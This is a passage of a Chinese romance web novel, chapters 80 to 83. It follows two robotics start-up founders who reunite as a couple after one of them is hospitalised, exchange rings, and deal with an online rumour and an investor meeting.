方笑贻眼泪夺眶而出,他刚要说:不怪不怪,我不怪你了。 边煦却把眼睛一闭,紧接着镜头就被撞歪了,在糊成一片的虚影里,方笑贻听见有个女声在喊:“血压怎么还没上去!” 他也跟着膝盖一软,扶了把墙才站住。 * 头晕、胸闷、窒息、发冷、心悸、耳蒙、看不清……等这些症状通通轮了个遍,边煦才终于从昏迷转入了睡眠。 等再醒来,他还没睁眼,最先恢复的居然是触觉,因为他感觉到有人在他胸口摸索。 垫了块布还是什么,但没隔衣服,因为对方拐弯的时候,边煦能感觉到有截指尖在皮肤上爬过。 谁在给他擦身体! 边煦不喜欢陌生人碰他,惊了一下,睁开了眼睛,同时按住了那只手。 只是入眼的还是夜色,病房里熄着灯,只借了一点外头的光亮,边煦也看不清人,只看见床弦中间坐着个人形的轮廓。 偏瘦、弓着上身,右手还提着自己的上衣下摆,而左手被自己一按,居然抖了一下。 那一下很微妙,有种难以言喻的穿透感,边煦眯起眼睛,喊了一声:“笑……” 只是喉头还在水肿,后面的音没发出来。 但那个人影听懂了,屁股立刻往前一挪,上身随即俯下来说:“是我。” 那语气哽塞而担忧,凑过来的眼睛也亮,毫无睡意。 边煦对上它,身上其实还很难受,但心里一下熨帖了。 低压那阵,他总感觉自己撑不住,所以睁眼还能看见牵挂的人,心里只有庆幸和欢喜。 于是他隔着衣服抓了下方笑贻的手,又用气音说:“你凑近点,我看看你。” 方笑贻眼眶酸涩,凑近了,又还没停下,直到贴到了他的嘴。 边煦没想到他会这样,愣了下,但还是回应地啄了他一口。 方笑贻更用力地嘬了他一下,又还是后怕,稍稍离开了一点:“你有没有哪里不舒服?” 边煦劫后余生,放肆地说:“哪里都不舒服,你再亲我一下。” 方笑贻二话没说,又亲了他一下,并且还出乎边煦的意料,不是蜻蜓点水地敷衍,而是含吮完嘴唇又扫进口腔,水乳交融的温存。另外手也从衣服抽出来,穿过后颈,去搂他的脖子。 方笑贻今天主动得不像样,自己划的边界全没了。 边煦心里虽然明白,他是因为吓到了,但有便宜不占那是傻,便也轻轻地咬他。 夜间的病房里有鼾声,能完美地掩盖暧昧的水声,但也依旧有扫兴鬼,很轻地咳了一声。 方笑贻知道是张侃。 因为边煦需要盯着,护士把他俩排成了邻居。 方笑贻是20分钟前才到的,当时张侃还在玩手机。但是方笑贻接班以后,张侃也睡不着了。 无意之间,他就吃了个超级大瓜:他的领导,说爱他的老板。 张侃直接被他爱懵了,当然,张侃不是老封建,他只是没想到! 因为边煦这俩看起来都挺直男的,而且在公司装得还挺有分寸,也不拉丝。 不过他俩眼下在拉了,物理拉丝。 张侃虽然看不清,也还是有点尴尬,忍不住咳了一声,提醒他们这里是病房,不是无人区。 但是方笑贻一改内敛的作风,竟然没理他。 边煦这么一倒霉,把他心里吓出了个洞,惶恐从中源源不断析出,他需要慰藉,又厮磨了两分钟才结束。只是脸撤开了些,但人还在边煦身上趴着,跟他窃窃私语。 “我这样压着你,会不会喘不上气?” 边煦在他背心里按了下:“不会,趴着吧。” 方笑贻顺势把头放在了他的右颈窝里,拿鼻梁抵着他的脸侧。 只是这种紧贴,透着一种没安全感的意味。 边煦有点愧疚,用脸蹭了蹭他的鼻尖:“吓到了吧?” 方笑贻这次没嘴硬,“嗯”了一声。 边煦单手顺着他的背,安慰他说:“好了,没事了。” 这绝对不叫没事,但方笑贻现在舍不得怼他,只抱着他,感受体温和心跳。 两人安静地搂了一会儿,边煦觉得他这样腰累,就往外挪了下,叫他上床。 “算了,挤不……”方笑贻顿了下,“把你挤晕。” “说的你像是有200斤似的,”边煦拍了下空出来的位置,“上来,我有点冷。” 他身上是挺凉,这是低压的后遗症。 方笑贻这才爬上去,把他的手包在双手中间,一个劲地跟他嘀咕,因为边煦6小时内不能睡觉。 边煦说了下产线上的事,方笑贻又跟他说展会,东拉西扯,最后忽然说到前面那个视频。 方笑贻吓了个半死,边煦却说没印象,他当时意识模糊,不记得自己说了什么。 方笑贻一听却更难受了,因为这个只能说明,那一刻比自己以为的还危险。 原来离别离他这么近,只是每天的寻常让方笑贻忘了,人生无常—— 但是今夜的恐惧足以令他铭记,他该惜取眼前人。 于是2秒过后,边煦看见他目光灼灼地小声说:“等你这趟回去了,就搬去跟我一起住吧。” 边煦心里一动,明知故问道:“什么意思?没在一起,就同居啊?” 方笑贻看见他眼里的笑意了,满足他说:“那就在一起。” 边煦心里乐开了花,还故作姿态:“不用我追了吗?” 方笑贻说:“算了。” 那语气有点自暴自弃,边煦笑了下:“为啥?” 方笑贻嘴上挫败地叹了口气:“因为我是真的没心思,再跟你们这些过敏精闹了。” 但心里其实很舒畅,因为这才是他真正的心意。 80-83 第81章 凌晨3点13分,边煦还在碎碎念:“你就这么过来了,公司那边没事吗?” 方笑贻当时脑子都不转了,哪里管得了那些。 “来都来了,有事也没辙了,这不是你操心的事,你睡吧,到4点时候我再叫你一下,后边儿就能踏实睡了。” 结果边煦来了句:“我不困,你睡吧,我自己盯着就行。” 方笑贻可不敢这么干,另外也很佩服他:“你牛,从昨天早上折腾到现在没休息,还不困?” 边煦说:“可能是人逢喜事精神爽吧。” “还爽呢,”方笑贻哼了一声,“我可一点都不爽。” “那是意外,极低概率才会发生的事,平安度过就别再想了。而且,我也算是因祸得福了。”边煦说完,在他嘴上亲了一下。 方笑贻心说你倒是豁达,但嘴上没空夸他,扬起下巴让他亲。 过了4点,边煦的血压血氧都稳住了,方笑贻才安下心,眯了一阵,但不到7点,他又被查房的动静搅醒了。 边煦倒是睡熟了,脸离他很近,就十来厘米,姿态安分,脸色也比昨晚正常多了。 经过昨晚,这样的片刻都算幸福了,方笑贻安静地看了他一会儿,才悄悄下床,出去买了洗漱用品和早饭。 回来边煦还在睡,但是张侃醒了。 这货假借刷牙之名,拿着根牙刷,又不刷,只挤在洗手池这儿挤眉弄眼:“老板,你跟煦总,你俩……啥情况?啥时候在一块儿的?” 方笑贻正在刷牙,嘴里全是泡沫,一下没理他。 张侃又说:“啧啧,你们在公司演得,那叫一个相敬如宾,影帝啊你俩。” 方笑贻觉得他嘴碎,漱完口了说:“平时也没见你这么八卦啊。” 张侃不屑道:“平时那些人的那些子鸡毛蒜皮,我压根不感兴趣。” 方笑贻看他一眼:“我们这还不是鸡毛蒜皮?” “不一样,”张侃振振有词,“我待见你们,对你们的关心不是闲杂人等能比的。” 方笑贻给了他一个“马屁精”的眼神。 张侃视若无睹,又倚到墙上,露出敬畏的表情:“而且你们这状况,我是打死也没想到的,我以为你俩是直男好兄弟,会一人找一个白富美来着。” “白富美是够呛了,”方笑贻突然把自己说笑了,“只能找个白富帅了。” “槽,”张侃乐道,“那这个煦总还是满足的。” 其实边煦现在不满足了,他不富,但是方笑贻没反驳。 张侃又绕回去,问他俩的情况。 但这事说来话长,没点酒,完全不知道该怎么开摆,方笑贻说:“改天上我家吃饭说。” 张侃比完ok,才想起一件事:“你们是住在一起吗?” 方笑贻不想跟他掰扯细节,因为需要解释原因,会没完没了,干脆说:“嗯。” 就隔个走廊,还天天搭伙,四舍五入,跟一起区别也不大了。 * 早饭吃到一半,边煦被香醒了,他闻到了小笼包的气味。 床边,方笑贻正在跟张侃说:“那不是隔了几天的茶叶蛋,兄弟,是麻酱鸡蛋。” 后脑勺就忽然被揉了下,同时背后忽然传来一声:“什么麻酱鸡蛋?我也要吃。” 方笑贻回过头,见他把头摆在床沿,手搭在自己后颈上,脸色还有点病态,但已经有了种讨饭的鲜活感。 方笑贻见状,心里竟有点感动,转向他说:“你吃不了,你得先去抽血,保险起见,也先只喝白粥。” 边煦捏了捏他后颈的皮肉,叹了口气,说命苦。 “苦个蛋,”方笑贻放下鸡蛋,拿纸擦完手,过来把他的床头摇起来了一些,“赶紧起来,检查完了吃饭。” 但说赶紧,边煦做什么都很慢。 他昨夜低血压又低钾,这会身上还没劲,只有嘴皮子还是利索的,脸洗到一半说:“我想洗头。” 方笑贻拨了下他头发,因为昨晚出过汗,手感是不算清爽,就说:“检查完回来我给你洗。” 去抽血的路上,他又说:“我想回家。” 方笑贻搀着他,说:“坚持下,2天就好了。” 边煦肚子正好在咕噜叫,便顺势往他身上一靠,叹着气说:“坚持不住了,饿。” 方笑贻右手从他左臂下斜穿过后腰,语气很坚毅:“坚持!最多十分钟就能喝稀饭了。” 那个语气像戏精,边煦乐了两声,把头歪到他颈窝里一埋。 然后方笑贻听见他闷闷地嘀咕:“谁要喝什么稀饭?我要……” “要什么?”方笑贻没听清。 边煦凑到他耳边说:“要吃人。” 那言下之意方笑贻明白,他只是不肯上道,揶揄道:“你现在吃个鸡蛋都要干瞪眼,是不是想多了?” 边煦也不恼,他这个过敏发作急,但高敏期一过,恢复起来也快。 他说:“不多,回去就收拾你。” 方笑贻笑了一声:“谁收拾谁还不一定呢。” 晨辉掠过连接廊,地上的人影是一双。 边煦还得住院观察2天,可方笑贻自己却是在这边待不住了。 他跑得突然,刘桥震惊的电话虽然很长,但都好说。只是方笑贻下午一点半有个先锋会,陈书记选了他当杭市的演讲代表。 这是抬举,不识绝对得罪领导,刘桥急得冒烟,边煦也叫他回去。 方笑贻权衡再三,买了早上10点回去的机票,又去给他们找了个护工,顺便给边煦买了个应急的手机。 边煦不方便走太远,只把他送到了连接廊尽头 这里通着医院的前厅,穿堂风有点大,方笑贻摸了下他的手,是热的,又还是恋恋不舍,没松开,抓着说:“你回吧,别一吹又肚子疼。” 边煦用大拇指摩挲了下他的手背:“好,你也走吧,不早了。” 方笑贻“嗯”了下,还在黏糊:“你买了回去的票就跟我说,我到时去机场接你。” 已经很久没有人接他了,边煦心里无端一软,然后一个念头闪过脑海。 方笑贻走时还不放心,但这2天却是一晃而过。 他白天东旋西转,开完会,路雅君又约他吃晚饭,谈这个意外的处理。 他态度不错,方笑贻也没想狮子大开口,说按法规,该咋办就咋办。另外,那个踢箱子的员工,他也希望路雅君能给他一个说法。 路雅君斟酌片刻:“行,我会叫杨工去医院跟边总跟张工道歉协商的。” 还有产线的标、公司的杂事、意外泄露后引来的打探……方笑贻见缝插针还要给边煦发消息,忙得水都没工夫喝。 好在边煦在手机上挺随叫随到,路雅君也派了个细心的员工过去帮手,帮忙退房、取行李。边煦说一切都好,叫他放心。 隔天晚上,他跟张侃办了出院,赔偿的事,千夕这边的法务也已经跟云枢对接上了。 晚上9点半,方笑贻等在接机口,看见他推着两个箱子,出现在了人群的尾巴里。 他直接从医院出来的,脸上戴着个口罩,衬衣也有点皱,但身姿挺拔,在人群里还是出众。 方笑贻老远就看见了他,冲他挥了下手。 边煦顾忌着张侃肋骨上的伤,没有加快脚步,但直到碰头,视线都一直胶着在那边。 张侃一看,觉得自己可真是太刺眼,自觉地说:“你们走吧,不用管我了。” 但今天下大雨,而且他们挺顺路,方笑贻还是先把他送了回去。 等人下了车,车外依然风雨交加,但两人对视一眼,那种独属于二人世界的自在和甜蜜霎时降临。 边煦眼里酝酿出暗色,忽然就有些归心似箭了。于是他伸手搭住了方笑贻的右手说:“回家吧。” 方笑贻翻过手腕,跟他十指相扣,又看着他,一语双关地说:“这话应该由我来说。” 然后他倾身过来,在边煦嘴上印了一下。 “回家了,边煦——” * 回到小区,雨更大了,堪称狂风暴雨。 但801的玄关是温馨的,一进门,方笑贻还在低头换拖鞋,后背就被贴上了。 这个天气,空调还没开,这样搂着只有闷热。 可“牛皮糖”不嫌热,不仅环着他的腰,还将脸埋进他左肩窝里,用力地吸了一口。 方笑贻下午去工厂了,见状乐道:“都是机油味,好闻吗?” 边煦没闻到机油味,嘀咕道:“好闻。” 细密的呼吸在颈侧拂扫,方笑贻眼睛一眯,歪头撞了下他的:“痒。” “哪儿痒?”边煦拿脸在他脖子上乱蹭一通,而后明知故问,“给你挠。” 方笑贻简直无力吐槽:这么挠能止什么痒?起火还差不多。 他耸了下左肩说:“起开。” 边煦赖着不动,巴了两秒,才忽然十分感慨地来了一句:“还是家里舒服。” 方笑贻一想起前两天的惊险,心里顿时只剩下柔软。 他把手搭在腰间的手腕上,脸稍稍朝左一偏,就碰到了边煦的鼻尖,然后就那么抵着说:“累了吧,要去洗吗?” “洗”在此情此景下,似乎是某种暧昧的提示。 但方笑贻这时还没别的意思,任谁离开医院回家,方便都是会洗的。 边煦也没荡漾,他只是动了下左手,将手指插进了方笑贻右手的指缝里:“不累,待会儿。” 那就待吧,只是方笑贻继续扭头,对上他的视线说:“就待这儿吗?” 可他这样扭过来,嘴唇就像送上来的一样,边煦不亲白不亲,啄了一口才问他:“那你想待哪儿?” 他生得好,声音自然也不错,像这样含笑着压低,那个观感还是很撩人的。 方笑贻一下也分不清了,是嘴上被他吹得痒,还是心理在作祟。不过方笑贻忍着没舔嘴唇,只睨他一眼说:“我可什么都没想。” 边煦却像是逮住了什么把柄,抿住他的下唇边缘轻轻一咬,然后若即若离地闷笑了起来。 “我又没说什么,你心虚什么?” 方笑贻本来很正直的,被他一说,好像真的居心叵测,无语道:“心虚个屁。” 可那气息吹到边煦唇上,拂得他又过来索吻。 那吻起先并不激烈,只在唇外蹂碾,因为边煦脑子里还绷着根弦,刚复合,不宜太情急。 可方笑贻差一点就失去了他,眼下忽然就很放纵,能够随心所欲的机会。 于是他顺从地张开了唇缝,还从边煦怀里转过来,拿手环住了边煦的脖子。 这种种都是积极的回应,边煦呼吸一紧,想要更多的渴望瞬间达到了巅峰。然而行动上,边煦却没深入,而是稍稍退开,拿手捧住了他的脸。 方笑贻见他盯着自己,虹膜莹亮幽深,有种带着磁力般的含情感。 方笑贻挪不开视线,跟他对视了两三秒,才用悄悄话的音量问他:“干嘛?” 边煦贴过来,在他右眼皮上亲了下。 方笑贻不由得闭了下眼,又听见他小声说:“我有个东西要给你。” 方笑贻睁开眼睛说:“什……” 话没说完,他自己卡住了。 因为边煦举起不知道什么时候从他脸上撤开的右手,指尖是一枚泛着金铜色哑光的素圈戒指。 方笑贻心口猛地一跳,被一种甜蜜的情感给充满了。 “你……”他怔怔地看向边煦,纳闷地笑了一声,“你这哪儿来的?” 边煦将他搭在自己肩上的右手抽下来,老实交代道:“昨天中午出去买的。” 那个时间他还在住院,方笑贻额头上青筋一蹦,抽出手来,往他胸前一杵:“瞎搞。” 边煦不疼不痒,便也有恃无恐:“没瞎搞,我想要这个。” “想要什么时候不能去买?”方笑贻瞪他一眼,“你是在住院,不是在旅游,有没有点谱啊?” “有,”边煦说,“护士都没说什么。” 方笑贻想也没想就说:“你肯定出卖色相了。” 边煦顿时败在了他那个笃定的神情和语气下,乱七八糟地笑了半天。 笑完他才把方笑贻的手又抓进手里,一边捋平一边坦白:“以前我在外面的时候,总是很后悔,跟你一起的时候,留下的东西太少,我怕你会忘记我。” 方笑贻眉宇一动,忽然有点心酸。 这事还真不怪边煦,当年他负担太重,都是边煦在迁就他,很少弄什么仪式感,导致分开之后,可纪念的东西实在不多。 边煦又说:“现在我回来了,又一穷二白,暂时也没什么东西可以给你。” 方笑贻不爱听这个:“我一个大老爷们,要你给什么?” 边煦温柔地看着他,心说:可以不给,但拖累不行。 时至今日,他终于能体会方笑贻当年的落差了。不过好在自己成年了,也不是挣不到钱,倒不至于自卑,边煦只是需要一些时间来积累,所幸方笑贻愿意等他。 于是边煦把那个素圈悬在了他的中指尖上,心怀感激地问他:“名分总是要给的吧?边煦的男朋友方笑贻,情侣戒指,戴不戴?” 方笑贻这才嘴角一翘,手指敲拍子般在他手心里一敲:“天降横财,戴。” 话音未落,边煦已经把素圈推到了他中指根上,尺寸不偏不倚,刚好—— 方笑贻惊喜地打量了它一眼,见它材质像是K金,面上素透,没有牌标也没有印花,但在侧面有一道极细的裂缝,估计里头还有点什么讲究。 不过方笑贻心里疑问太多,一下就跑偏了,他问边煦:“你是不是偷偷量我指围了?” 边煦则捏着他的指尖,垂眼在那儿欣赏:“没有,摸多了就大概知道是几号了。” 这是什么卡地亚柜哥技能? 方笑贻也不懂,只能惊奇,惊完又从他兜里翻出另一只,依样画葫芦给他戴上了。 戴完两只手一交握,头脸很快又情难自抑地贴到了一起。 当边煦再次捧住他的脸,金属的质感印在脸与指尖。 一点滑软掠进口腔,那触感熟悉又遥远,方笑贻本能地含住了它。 玄关的光线昏黄朦胧,喘息纠缠、水声粘腻,让这雨夜的一角亢奋而火热。 方笑贻的气息早乱得没法听了。 滑腻的触电感令他晕头转向,他不记得自己的后背是几时被边煦贴到墙上的,也不知道领口的两粒扣子、被拉开的半边衬衣下摆,都是在什么时候“离岗”的。 他只记得当边煦含住他喉结的时候,自己心尖战栗地说了句。 “……去、去房里——” 第82章 翌日上午,大雨转小雨,边煦又调休。 他醒了赖床,还要人陪,也不许方笑贻起来,手脚并用地把人缠住了。 方笑贻挣了挣,没挣开,说他烦死了。 但那个语气又很软乎,边煦把他翻过来控诉:“你怎么这么善变?” 方笑贻被他翻得有点痒,乐得直颤:“啥啊,没头没脑的。” 窸窣的动静过后,两人躺成了面对面,不过脸中间有个枕头缝,边煦嫌远,又挤过去说:“你昨天还说爱我的,今天就嫌我烦了,唉。” 昨天那是因为…… 方笑贻脸皮有点发热,眼帘一搭,掩饰地瞎扯开了:“唉个屁啊,你不适合演这种苦情戏,气质不对盘、情绪也没有,差评。” 他还评上了,边煦差点没笑绷,但忍住了,又叹了一声:“唉~” “神经。”方笑贻笑点也紊乱了,莫名笑了半天。 阴雨天加上爱人温凉的皮肤,搂抱挲摩,无一不令人堕落。 边煦看着他锁骨间昨晚胡闹的痕迹,拿指尖轻轻摸了摸,心里有种饱胀的幸福感。他把头拱过去,手又滑到方笑贻腰上,圈住了说:“不许起来。” 他才醒,声音带点懒劲,有种撒娇的意味。 方笑贻被迫仰起头,奋斗的意志登时摇摇欲坠,不过他还是竭力振作了。 “别闹了,我要迟到了。” 可在被窝里闹是情侣的情趣,边煦大言不惭地说:“哪个老板天天准时踩点上班?继续睡。” “睡个蛋,”方笑贻在他腿上踩了一脚,“我一堆事。” 昨晚回来尽顾着黏糊了,边煦别住他那只脚腕,又把头挪回枕头上,看着他说:“什么事?” 都是公司的琐事,方笑贻跟他一絮叨,人就迟到了。 不过他走的时候,边煦也起来了,洗漱完回来,撞见他在床头柜上研究那枚戒指。 这戒指确实有点东西,分成内外两圈,内圈是闭合的,而外圈居然可以打开。 方笑贻诧异地掰开它,看见内圈边缘,刻了一排只有一半的字。 另一半自然在边煦手上,不过方笑贻不需要,也看得出他刻的是: [BX 爱与忠诚 FXY] 昨夜已经激动过了,方笑贻此刻不觉得激动,他只是觉得温暖,并且忽然有点泪意。 能再次遇到边煦,是上天赐予他的幸运,他爱的人挺优秀的,最好的点是也依然爱着他。 然后在这阵心脏仿佛被泡进了温泉的眩晕里,有人坐到旁边,牵住了他的手。 方笑贻转过头,看见了边煦温柔明亮的眼睛。 片刻之间,两人谁也没说话,但莫名的磁场和情愫却在两人之间流转。 几秒过后,边煦才关上他的戒指,又牵到唇边亲了下说:“喜欢吗?” 方笑贻抬起他的下巴,亲了下他的嘴:“喜欢,用心了。” 这个戒指的名称,叫真心话。 边煦没跟他说,只单手扣住他的后脑勺,跟他接了个早安吻。他俩都才刷过牙,牙膏是个玫瑰味,清新留香,还隐约有种甜甜的感觉,像在吃玫瑰味的糖。 亲完方笑贻站起来,堂而皇之地戴着那个戒指,说他上班去了。 他毫不掩饰自己存在的痕迹,边煦暗爽归暗爽,但也不能不替他考虑,最后去804拆了个玉坠的挂绳,给他戴在颈上,塞进衣领里了,顺便还卷了点日用品回了801。 方笑贻看他像个搬家的仓鼠,装完平板装证件,忽然就忍不住笑了下。 边煦看见了,问他笑什么。 方笑贻倚在门上说:“笑你跟我,瞎折腾。” 边煦听懂了,他是说这房子算是白租了的意思,但还是无所谓地一耸肩:“没办法,站在当时没法想今天,这钱就是该花的。” 方笑贻好笑道:“你倒是想得开。” “想得开,”边煦悠哉地说,“我都因祸得福了,什么都能想开。” 方笑贻吓了个半死,可不觉得这是福,但是边煦嘚嘚瑟瑟的,他也没泼冷水,只问他今天怎么吃饭。 边煦说:“我上午在家处理点事,中午去公司吃午饭,你等我一起。” 方笑贻说好,这才去了公司。 这边,张侃热爱上班,居然已经到了,正在跟老何吹牛,唾沫横飞地描述他的生死一刻,见了方笑贻,还往他背后瞟,说:“煦总呢?” “他上午调休,”方笑贻说着又问他,“你怎么来了?我不是叫你今天休息吗?” “在家太无聊了,”张侃叹气,“而且鼎辰的汪经理给我打电话,说他们厂新接的手又坏了,我来查一下返厂记录,看看是不是重复故障。” 鼎辰是个新接入灵巧手的电子元件厂,返厂频率本来就比别家高,究其原因,一个是手损耗本来就大,这是目前技术的限制。另一个他家不会用。 但客户总是不可能自己主动承认错误的,不然损失就只能都自己承担了。 方笑贻拍了下他的肩膀,说辛苦了,回到办公室,又接到两个pe投资人的电话,说对展会招商的结果不满意,要他们开一个线上会议解释。 方笑贻把事派给刘桥,又去看论文和行业资讯、工厂的调研报告,忙忙叨叨的上午一晃就过去了。 中午,边煦来食堂吃饭的时候,刘桥已经拿ai写了个解释的文案,方笑贻正在看,边煦接到手里看了两眼,方笑贻看见他倒是把戒指戴上了。 方笑贻看他一眼,说:“你不怕公司的人打听你啊?” 边煦不以为意:“我又不是老板,谁打听我?” 他还是太看不起自己的脸了,方笑贻抻着指头数数:“你看着吧,张侃、刘桥、李姐、小谭,绝对问你。问完小群体再一八卦,明天公司一半以上的人就都知道了,你结婚了。” “瞎扯,”边煦说,“婚戒又不戴这边。” 方笑贻说:“你要相信谣言的力量。” 边煦乐道:“张侃又不是不知道,他还问什么?” “他八卦啊,”方笑贻边说边伸出筷子,把他餐盘里的葱蒜挑了出来,“你回来的时候都还是空手。” 边煦还以为他在开玩笑,但到了下午,事实又证明,他又还挺料事如神。 最先发问的是谭小萱,边煦去前台收快递文件,签字的时候被她看见了。 她目光幽微闪烁,挤眉弄眼地说:“边总,有情况哦~” “嗯,”边煦一派坦然,“很久以前就有了。” 谭小萱愕然地“啊?”了一声,唏嘘道:“长得帅的果然都是有主的,你女票肯定是个大美女吧?” 边煦莞尔一笑:“不是。” 谭小萱不明就里,还夸他谦虚。 跟着就是张侃,他是个单身狗,对戒指的位置没概念,一看边煦手上多出这个,立刻左顾右盼一通,又做贼似的说:“咋的,你俩昨天订婚啦?” 边煦:“……” 回到办公室,他给方笑贻发v信:[你还是太了解你的员工了] 方笑贻秒懂,笑得要死:[头大不大?] [边煦]:不大 [方笑贻]:嘴硬 [边煦]:我也造谣 方笑贻隔了两秒才回:[你说啥了] [边煦]:小谭问我对象是不是大美女,我说是个大美男 [方笑贻]:…… [方笑贻]:我不信 [边煦]:不信你出办公室看看,外面到处都是我的传说 [方笑贻]:不去,耽误我干活 边煦回了个ok,也干活去了,下星期,他们还得去一趟江东,再开一次产线的标。 到了下午4点多,另一个问题出现在了公司的群里。 方笑贻被[奇想科技]的老板朱昶,不屑地挂在了朋友圈。 这消息在创始人圈里不胫而走,并迅速席卷进了行业群。 蒋哥在运控摸鱼群里看到的时候,还以为自己花眼了,他把截图转进技术群。 方笑贻才知道,自己被挂了。 他点开那个截图,看到了自己被挂的原文。 [奇想科技朱昶]:[笑哭]不懂仿真就不要乱输出,免得真的人如其名,贻笑大方…… →[转自][公众号链接]Robotics:云枢方笑贻/炸裂/发言:具身智能用仿真数据没前途 然后他点开链接,评论区早就吵翻了。 [Csardas]:完全不同意,英伟达费这么大力气开发isaa,是钱太多了烧着玩吗? [超级脆]:仿真像是确实没看到promising的路径 [momo]:我的关注列表在评论区开party这件事[呆滞] …… 还有很多人在说他飘了、太业余了、拉不到投资真急了…… 方笑贻也有点呆滞,他都不认识这个朱昶,也没说过这个/炸裂/的发言。 公司群里,张侃也已经气坏了,真在群里阴阳怪气。 [张侃]:这个猪厂是干嘛的,拽啥啊在??? 刘桥也懵了:[不是,什么Robotics?我们在展会上,没接触过任何自媒体公司啊] [老何]:那这个写文章的是在造谣了? [蒋柯]:不然呢?我们自己都还在搞仿真呢 [张侃]:@方笑贻,啥情况?我们被资本做局了吗? 然而方笑贻没空理他,因为边煦到他办公室来了。 两人稍稍一合计,边煦就得出了结论:“估计就是在开幕式之前,你跟王总(王需林)他们闲聊的时候,被有心人听到之后,编排两圈就变成这样了。” 方笑贻估计也是,有点一言难尽。 不过挨个去摸排是谁干的,意义也不大,成见在别人心里,方笑贻可没那个时间精力去自证,他只叫法务拿了公司的官号,到那个评论区底下回了一条: [我方创始人从未发表过标题言论,根据《刑法》第246条,造谣被转发次数达到500以上者,可处三年以下有期徒刑,望作者周知并澄清] 发完这个,方笑贻就没管它了。 等到快下班的时候,那帖子还没被删除,但评论区有个id的赞数狂涨,蹭蹭就飙到了前排。 [云枢科技边煦]:@奇想科技朱昶请教朱总,怎么才算是懂仿真?(点赞2293) 朱昶挺闲,还真来对戏了,长篇大论发了一大堆:什么仿真的优势真机无法比拟,原因如下…… 但每一条,边煦都反驳上了。他也不是为了反驳而反驳,是真的懂行,所以说到后头,朱昶的傲慢明显也收敛了,还回了一条:我收回云枢不懂仿真的话[抱拳][抱拳][抱拳] 这些截图,又被张侃存了下来,舒爽在公司群里连发。 方笑贻看见了,给边煦发消息:[你一下午就在干这个?] 边煦回得挺快:[没有啊,我还写了5页代码,看了4篇论文,想了3个晚上吃的菜] 方笑贻嗖嗖回来两条。 [牛] [真是工作生活两不耽误] 边煦问他:[下班的点了,回家吗?] 方笑贻说回,有了伴儿,食堂忽然就变腻了。 然后两人离开公司,一起去逛了个菜市场。 这里永远热闹,方笑贻站在摊摊贩贩中间,举着个手机查高组胺食物,西红柿、香菇、菠萝……都不要。 他这有点夸张了,边煦一边好笑,一边又窝心,因为被人在乎,总是不嫌多的。 晚上的菜是方笑贻炒的,他说给边煦露一手,麻利地弄了3个菜:青椒肉丝、素炒西蓝花和芦笋。 不过菜是边煦跟他一起料理的,两人挤在厨房里,方笑贻切肉丝,他就在旁边拿菜刀片西蓝花,忙活完了,就把手一擦,再往人背后一挂。 方笑贻起锅在烧油,叫他出去:“油烟大,一会身上全是味儿。” “吃完洗就是了。”边煦无所谓,依旧贴着,帮他递调料。 顾忌着他刚出院,方笑贻油盐都放得少,不过味道也还凑合。 边煦吃了顿家常的饱饭,自觉去洗碗了,洗碗出来,两人一合计,都懒得下楼散步了,便依偎在沙发上,随便开了个电视。 结果那节目是《风味人间》,旁白正在优雅地诵念:日子红火,家人齐整—— 方笑贻心里忽然就感觉到了圆满。 第83章 博览会遇冷,公司第二天下午,开了个线上的联线会议。 投资人里有技术出身的,问的问题都挺专业。 方笑贻负责运控和硬件板块,算法则归边煦负责。 之前在算法这边,熊彬技术还行,但表达有时跟不上,投资人每次都会发出质疑的声音。 边煦却很擅长驾驭这种场合,他爱看论文,也熟悉各种模型,从容得像是30年的老技术。 那种侃侃而谈的姿态,方笑贻觉得他整个人像是开了高清画质模式,偷偷在旁边拿手机录小视频。 然后事实证明,会欣赏的人也不止方笑贻一个。 晚上智谷的官号就贴了一小段会议视频,这是杜廷有心在帮方笑贻做宣传,本意是秀一下云枢的算法实力。 结果评论区的画风完全跑偏了。 [Hqking]:我去云枢的算法哥不是个胖子吗?咋这么帅! [高核能聚变]:看发量不像大佬,听发言又有二十把刷子 [无菌有毒]:附议,重金求一个护发技术 方笑贻差点被“二十把”笑死,翻评论的时候乐得哈哈的,还让边煦去贡献护发技术。 边煦没辙地说:“没有这种技术,号给你,你去贡献吧。” 可惜方笑贻也没有,一切都是基因。 不过那个评论区里,居然有不少讨论技术的人,虽然有些一看也是门外汉,但边煦挑着回复了几个,然后萌生了一个念头。 然后方笑贻听见他忽然说:“我想去找个平台,建个探讨算法问题的个人号,链接一些同行,以后咱们要是需要招人,也方便一些,你觉得怎么样?” 方笑贻觉得挺好的,说着两人商量了一下,又给张侃打了个电话。 他天天在机器人圈子里social,对平台应该比较了解。 张侃也确实不负众望,一通比较之后,推荐了小红书。 “相信我,”张侃信誓旦旦地说,“虽然这是个带货平台,女用户占比也高,但90后占比7成,本科率占比68%,咱找到同行的概率是最大的。不信你搜下搞具身和机器人的那些大佬和教授,都在这上面开号了。” 边煦没有不信,说好,挂了电话,就去把原来那个为了抓词条的三无小号给编辑了一下。 忙活这些的时候,他把头枕在方笑贻腿上。 方笑贻靠着在看书,低头看见他三下五除二改完了资料,又把手机扣在胸前,做元神出窍状。 方笑贻也没打扰他,等他又开始拿手机了,才问他:“想啥呢刚刚?” 边煦说:“在想问题。” “想到了?” “嗯。” “啥?” “现在的vla是正确的道路吗?” 方笑贻一下乐了,因为这个问题,跟自己被造谣的那个一样敏感。 他说:“你小心被冲哦,骂你是业余佬。” 边煦无所谓:“业余就业余。” 方笑贻又打趣他:“你还不如发几张带脸的照片,号保证马上就起飞了。” 边煦不会发,但这不耽误他碰瓷:“不起飞,你负责啊?” 方笑贻财大气粗道:“负。” 边煦抬手勾住他的脖子,压下来说:“细说,怎么个负法?” * 两人同居的第三天,正好是周五。 边煦周六打算去看盛芝兰,吃饭的时候在桌上问他:“你明天跟我一起去吗?” 方笑贻眸光一闪:“这是你奶奶的意思吗?” 边煦据实以告:“是我的意思。” 那自己还是属于不请自去,方笑贻瞥他一眼:“你不怕给你奶奶添堵啊?” “添不了,”边煦笃定得很,“你都飞黄腾达了,还对我不离不弃,她只会对你的人品肃然起敬。” 方笑贻虽然不相信他,但他还是太会说话了。 而且她是边煦唯一的至亲,虽然年少时有过龃龉,但方笑贻扪心自问,绝不至于老死不相往来,便乐了声说:“那行,去看看,你是怎么翻车的。” 边煦简直啼笑皆非:“你真是一点不盼自己好啊。” 方笑贻说:“你懂什么?这叫客观。” 吃过晚饭,边煦就去打电话了,一副带媳妇去见家长的喜色。 挂掉后方笑贻问他:“我带点什么去合适?” 边煦想了一会儿:“买一盒膳食纤维,再买个桑蚕丝的遮阳帽,就行了。” “就这?”这位十几岁上自己家,一出手就是6件,方笑贻说,“少不少?” 